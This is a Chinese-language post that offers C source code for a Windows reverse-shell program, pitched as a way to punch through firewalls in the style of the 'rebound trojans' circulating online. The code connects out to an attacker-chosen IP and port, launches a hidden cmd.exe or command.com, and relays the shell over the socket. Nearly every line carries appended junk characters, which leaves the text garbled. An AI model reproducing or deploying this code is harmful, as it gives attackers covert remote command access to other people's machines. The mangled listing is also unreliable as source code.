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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T@wgWE<0y_  
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/* ============================== &F- \t5X=i  
Rebound port in Windows NT y1{TVpN  
By wind,2006/7 >``sM=Wat  
===============================*/ RW{y.WhB  
#include s&hJ[$i  
#include E1r-$gf_  
}7non  
#pragma comment(lib,"wsock32.lib") IOA2/ WQu  
M"Dv -#f  
void OutputShell(); |kY}G3/  
SOCKET sClient; M*!WXQlud  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xX f,j#`"  
Ii9[[I  
void main(int argc,char **argv) F f{,zfN+3  
{ BLN|QaZ  
WSADATA stWsaData; dGyrzuPJ  
int nRet; D@2L<!\  
SOCKADDR_IN stSaiClient,stSaiServer; arIEd VfNa  
Gv[s86AP,  
if(argc != 3) 1=Z!ZY}}e  
{ 3Ccy %;  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7}:+Yx  
return; 1 |  
} Brts ig,4  
WNY:HH  
WSAStartup(MAKEWORD(2,2),&stWsaData); NnH]c+  
"1YwV~M5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >?Duz+W)  
1:JwqbZKJ  
stSaiClient.sin_family = AF_INET; _ amP:h  
stSaiClient.sin_port = htons(0); {J1iheuS}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %afN&T  
O 1D|T"@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rFUR9O.{E  
{ cJMi`PQ;  
printf("Bind Socket Failed!\n"); ?7>"ZGDe>  
return; ,ZghV1z  
} [ *Dj7z t:  
fat;5XL@  
stSaiServer.sin_family = AF_INET; ;j.-6#n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E!'6v DVC:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [~PR\qm  
Ur]/kij  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o%bf7)~s  
{ I8a3:)  
printf("Connect Error!"); lE gjv,  
return; h@E7wp1'~  
} WkiPrQ0]:  
OutputShell(); -woFKAy`  
} Q^;:Kl.b  
ua"2nVxK_K  
void OutputShell() /GVjesN  
{ cZJ5L>ox  
char szBuff[1024]; O\CnKNk,  
SECURITY_ATTRIBUTES stSecurityAttributes; Y[l<fbh(}  
OSVERSIONINFO stOsversionInfo; p}3` "L=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ue^HhZ9  
STARTUPINFO stStartupInfo; GE`1j'^-  
char *szShell; N]eBmv$|  
PROCESS_INFORMATION stProcessInformation; 3&>0'h  
unsigned long lBytesRead; Y)@Y$_  
EK= y!>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iciKjXJ :  
NRny]!  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OP<N!y?[  
stSecurityAttributes.lpSecurityDescriptor = 0; "u]&~$  
stSecurityAttributes.bInheritHandle = TRUE; GeDI\-  
,]:Gn5~  
8v z h5,U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D Qz+t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J/fnSy  
@I}VD\pF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !zvjgDlZv  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PtYG%/s  
stStartupInfo.wShowWindow = SW_HIDE; .uVd'  
stStartupInfo.hStdInput = hReadPipe; 6I: 6+n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jQxhR  
O/|))H?C  
GetVersionEx(&stOsversionInfo); U(0FL6sPC  
d#TA20`  
switch(stOsversionInfo.dwPlatformId) 7nNNc[d*=  
{ JO`r)_  
case 1: J$sBfO D  
szShell = "command.com"; 5RvE ),  
break; 1 _Oc1RM   
default: PWZd<  
szShell = "cmd.exe"; T>]T=  
break; s;YbZ*oaMe  
} tu Y+n 2  
}% f7O  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0 zK{)HZ  
3<Zp+rD  
send(sClient,szMsg,77,0); xu_,0 ZT]{  
while(1) 'B{FRK  
{ [al$sCD]+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A+!,{G  
if(lBytesRead) r88De=*  
{ `<yQ`Y_X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cdib{y<ji  
send(sClient,szBuff,lBytesRead,0); L-}J=n\  
} 5wmd[YL  
else ~5`oNa  
{ jQzl!f1c3  
lBytesRead=recv(sClient,szBuff,1024,0); zPND $3&'  
if(lBytesRead<=0) break; u -P !2vT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *2u~5 Kc<  
} BGBHA"5fz  
} }dop]{RG  
EwX&Cj".  
return; I-Z|FKh_C  
}
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